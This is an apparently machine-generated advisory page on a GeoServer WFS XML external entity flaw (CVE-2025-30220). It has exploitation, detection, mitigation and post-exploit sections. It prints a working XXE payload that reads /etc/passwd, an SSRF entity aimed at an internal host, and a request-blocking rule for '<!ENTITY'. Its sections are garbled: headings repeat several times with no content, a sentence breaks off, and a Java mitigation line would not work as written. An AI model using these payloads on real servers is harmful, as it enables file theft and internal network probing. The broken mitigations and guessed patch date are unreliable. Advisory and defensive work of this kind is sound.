GeoServer, XML External Entity (XXE), CVE-2025-30220 (Critical)

How the CVE Works

The vulnerability arises due to improper handling of XML external entities (XXE) in GeoServer’s Web Feature Service (WFS). While GeoServer restricts entity resolution via ENTITY_RESOLUTION_ALLOWLIST, the GeoTools library fails to enforce this restriction when constructing an in-memory XSD schema. Attackers can craft malicious XML requests containing external entity references, bypassing GeoServer’s AllowListEntityResolver. This allows:
1. File Exfiltration: Reading arbitrary server files (e.g., /etc/passwd, configuration files).
2. SSRF: Forcing the server to make internal network requests, potentially exposing backend systems.
The attack is unauthenticated and remotely exploitable via WFS requests.

DailyCVE Form

Platform: GeoServer
Version: <= 2.25.0
Vulnerability: XXE via GeoTools
Severity: Critical
Date: 2025-06-11

Prediction: Patch by 2025-07-15

What Undercode Say:

Exploitation

1. Craft Malicious XML:

<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<wfs:GetFeature xmlns:wfs="..." service="WFS">
<wfs:Query typeName="xxe">&xxe;</wfs:Query>
</wfs:GetFeature>

2. SSRF Payload:

<!ENTITY xxe SYSTEM "http://internal-api.local">

Detection

Log Analysis: Monitor for abnormal WFS requests with XML entities.
```
grep -r "ENTITY" /var/log/geoserver/
```
Network Traffic: Detect OOB data leaks via DNS/HTTP:
```
tcpdump -i eth0 'port 53 and host attacker.com'
```

Mitigation

1. Disable DTDs:

// In GeoServer config
XMLInputFactory.setProperty(XMLInputFactory.SUPPORT_DTD, false);

2. Patch GeoTools: Upgrade to a version enforcing `ALLOWLIST` universally.

3. WAF Rules: Block XML with `

location /geoserver {
if ($request_body ~ "<!ENTITY") { return 403; }
}

Post-Exploit Analysis

File Access Audit:

auditctl -w /etc/ -p r -k geoserver_xxe

Memory Dump: Capture JVM heap if exploitation is suspected:
```
jmap -dump:live,file=heap.bin <geoserver_pid>
```

GeoServer, XML External Entity (XXE), CVE-2025-30220 (Critical)

How the CVE Works

DailyCVE Form

Prediction: Patch by 2025-07-15

What Undercode Say:

Exploitation

1. Craft Malicious XML:

2. SSRF Payload:

Detection

Mitigation

1. Disable DTDs:

3. WAF Rules: Block XML with `
location /geoserver { if ($request_body ~ "<!ENTITY") { return 403; } }

Post-Exploit Analysis

References

Sources:

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How the CVE Works

DailyCVE Form

Prediction: Patch by 2025-07-15

What Undercode Say:

Exploitation

1. Craft Malicious XML:

2. SSRF Payload:

Detection

Mitigation

1. Disable DTDs:

3. WAF Rules: Block XML with ` location /geoserver { if ($request_body ~ "<!ENTITY") { return 403; } }

Post-Exploit Analysis

References

Sources:

Join Our Cyber World:

3. WAF Rules: Block XML with `
location /geoserver { if ($request_body ~ "<!ENTITY") { return 403; } }